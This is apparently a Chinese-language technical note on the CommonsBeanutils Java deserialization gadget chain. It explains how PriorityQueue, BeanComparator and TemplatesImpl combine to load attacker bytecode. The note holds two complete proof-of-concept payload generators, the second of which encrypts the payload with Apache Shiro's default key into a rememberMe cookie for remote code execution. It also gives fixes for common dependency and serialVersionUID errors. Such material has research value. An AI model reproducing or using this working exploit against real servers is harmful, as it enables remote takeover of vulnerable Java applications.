CommonsBeanutils
Apache Commons Beanutils 是 Apache Commons中的另一个项目,提供的功能点如下:
- 帮助操作JavaBean,如:
需要理解一下这个操作的细节:org.apache.commons.beanutils.PropertyUtils.getProperty(new Cat(), "name");
- 首先获取到字段的名称 name
- 根据命名规则匹配到 getName()
- 调用getName
- commons-beanutils 中很多这种 辅助方法
那么重点来了, 继续PriorityQueue链子的思路, PriorityQueue#readObject会触发compare.
触发TransletClassLoader#defineClass() [加载任意字节码]的方法中刚好有一个TemplatesImpl#getOutputProperties(). 那么能否在common beanutils 这个包中找到一个Comparator的compare方法可以调用类似 PropertyUtils.getProperty 这种东西呢, 答案是可以. BeanComparator就是这么一个类, 看一下它的compare方法:
那么这个链子的思路就清晰了, 完整的POC如下:
public class CommonsBeanutils0 {
public static byte[] payload() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ct = pool.get(bad.evilClz.class.getName());
byte[] shellcode = ct.toBytecode();
TemplatesImpl tmpl = new TemplatesImpl();
Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});
Reflections.setFieldValue(tmpl,"_name","testName");
Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());
Comparator comparator = new BeanComparator(); // OutputProperties
PriorityQueue pq = new PriorityQueue(100,comparator);
pq.add(1);
pq.add(1);
Reflections.setFieldValue(comparator,"property", "outputProperties");
Reflections.setFieldValue(pq,"queue",new Object[]{tmpl,tmpl});
return Serializer.Serialize(pq);
}
}
坑
调试的时候发现没有org.apache.commons.logging.logfactory这个类, mvn加上依赖就好了:
https://mvnrepository.com/artifact/commons-logging/commons-logging/1.1.1
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.1.1</version>
</dependency>
CommonsBeanutil打Shiro
Shiro原生依赖中就有CB,所以很方便的可以利用.
可能的坑:
- serialVersionUID不一致, 需要CB版本与Shiro一直
- 去除CB依赖后直接打会报错: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]
解决?
先看这个类在哪调用了?
初始化的时候如果没传comparator就会调用, 那传一个就行了. 这个comparator要求如下:
- 实现 java.util.Comparator 接口
- 实现 java.io.Serializable 接口
- jdk自带或者在cb里面
可以找到 java.lang.String.CaseInsensitiveComparator这个类.
使用String.CASE_INSENSITIVE_ORDER就可以拿到它的实例,修改后的POC如下:
public class CommonsBeanutils0 {
public static byte[] payload() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ct = pool.get(bad.evilClz.class.getName());
byte[] shellcode = ct.toBytecode();
TemplatesImpl tmpl = new TemplatesImpl();
Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});
Reflections.setFieldValue(tmpl,"_name","testName");
Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());
Comparator comparator = new BeanComparator(); // OutputProperties
PriorityQueue pq = new PriorityQueue(100,comparator);
pq.add(1);
pq.add(1);
Reflections.setFieldValue(comparator,"property", "outputProperties");
Reflections.setFieldValue(pq,"queue",new Object[]{tmpl,tmpl});
Reflections.setFieldValue(comparator,"comparator",String.CASE_INSENSITIVE_ORDER); // new
return Serializer.Serialize(pq);
}
public static String getShiroPayload() throws Exception{
byte[] payload = payload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payload, key);
return "rememberMe="+ ciphertext.toString();
}
}
后续: 也可以用 java.util.Collections$ReverseComparator 来替代.